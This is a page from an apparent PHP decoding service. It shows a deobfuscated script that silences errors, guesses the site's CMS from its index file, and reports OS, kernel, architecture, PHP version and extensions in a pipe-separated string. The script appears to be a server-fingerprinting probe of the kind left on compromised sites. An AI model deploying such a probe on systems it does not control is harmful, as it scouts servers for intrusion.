Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0); @set_time_limit(0); @ini_set('max_execution_time', 0); ..

Decoded Output download

OK

Did this file decode correctly?

Original Code

<?php

@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);

function read_file($filename)
{
	$file_data = '';
	if (@file_exists($filename))
	{
		$fp = @fopen($filename, 'r');
		if ($fp)
		{
			$file_data = @file_get_contents($filename);
			fclose($fp);
		}
	}

	return $file_data;
}

function detect_cms()
{
	$index_list = array(   
	    'index.php',
	    'index.php3',
		'index.htm',
	    'index.html',
	    'index.phtm',
	    'index.phtml',
	    'index.asp',
	    'index.shtm',
	    'index.shtml'
	);

	$cms_list = array(
		array('JFactory::', 'Joomla!'),
		array('drupal_bootstrap', 'Drupal'),
		array('wp-blog-header.php', 'Wordpress'),
		array('$modx', 'MODX'),
		array('typo3', 'TYPO3'),
		array('textpattern()', 'Textpattern'),
		array('IMAGECMS', 'ImageCMS')
	);

	foreach ($index_list as $index_file)
	{
		$index_data = read_file($index_file);
		if (strlen($index_file))
		{
			break;
		}
	}

	foreach ($cms_list as $cms_item)
	{
		if (strpos($index_data, $cms_item[0]) !== false)
		{
			return $cms_item[1];
		}
	}

	return '';	
}

echo 'OK';
echo detect_cms().'|';

if (function_exists('php_uname'))
{
	echo @php_uname('s').'|'.
		 @php_uname('r').'|'.
		 @php_uname('v').'|'.
		 @php_uname('m').'|';
} else
{
	echo '||||';
}

if (defined('PHP_INT_SIZE') && PHP_INT_SIZE == 8)
{
	echo '64|';
} else
{
	echo '32|';
}

if (function_exists('phpversion'))
{
	echo @phpversion().'|';
} else
{
	echo '|';
}

if (function_exists('get_loaded_extensions'))
{
	$extensions = @get_loaded_extensions();
	foreach ($extensions as $ext)
	{
		echo $ext.'|';
	}
}

?>

Function Calls

ini_set 1
read_file 1
detect_cms 1
file_exists 1
set_time_limit 1
error_reporting 1

Variables

$cms_list [{'key': 0, 'value': [{'key': 0, 'value': 'JFactory::'}, {'key': 1, 'value': 'Joomla!'}]}, {'key': 1, 'value': [{'key': 0, 'value': 'drupal_bootstrap'}, {'key': 1, 'value': 'Drupal'}]}, {'key': 2, 'value': [{'key': 0, 'value': 'wp-blog-header.php'}, {'key': 1, 'value': 'Wordpress'}]}, {'key': 3, 'value': [{'key': 0, 'value': '$modx'}, {'key': 1, 'value': 'MODX'}]}, {'key': 4, 'value': [{'key': 0, 'value': 'typo3'}, {'key': 1, 'value': 'TYPO3'}]}, {'key': 5, 'value': [{'key': 0, 'value': 'textpattern()'}, {'key': 1, 'value': 'Textpattern'}]}, {'key': 6, 'value': [{'key': 0, 'value': 'IMAGECMS'}, {'key': 1, 'value': 'ImageCMS'}]}]
$filename index.php
$file_data
$index_file index.php
$index_list [{'key': 0, 'value': 'index.php'}, {'key': 1, 'value': 'index.php3'}, {'key': 2, 'value': 'index.htm'}, {'key': 3, 'value': 'index.html'}, {'key': 4, 'value': 'index.phtm'}, {'key': 5, 'value': 'index.phtml'}, {'key': 6, 'value': 'index.asp'}, {'key': 7, 'value': 'index.shtm'}, {'key': 8, 'value': 'index.shtml'}]

Stats

MD5 c7e63a0205abeb37616b4a5f64dda026
Eval Count 0
Decode Time 116 ms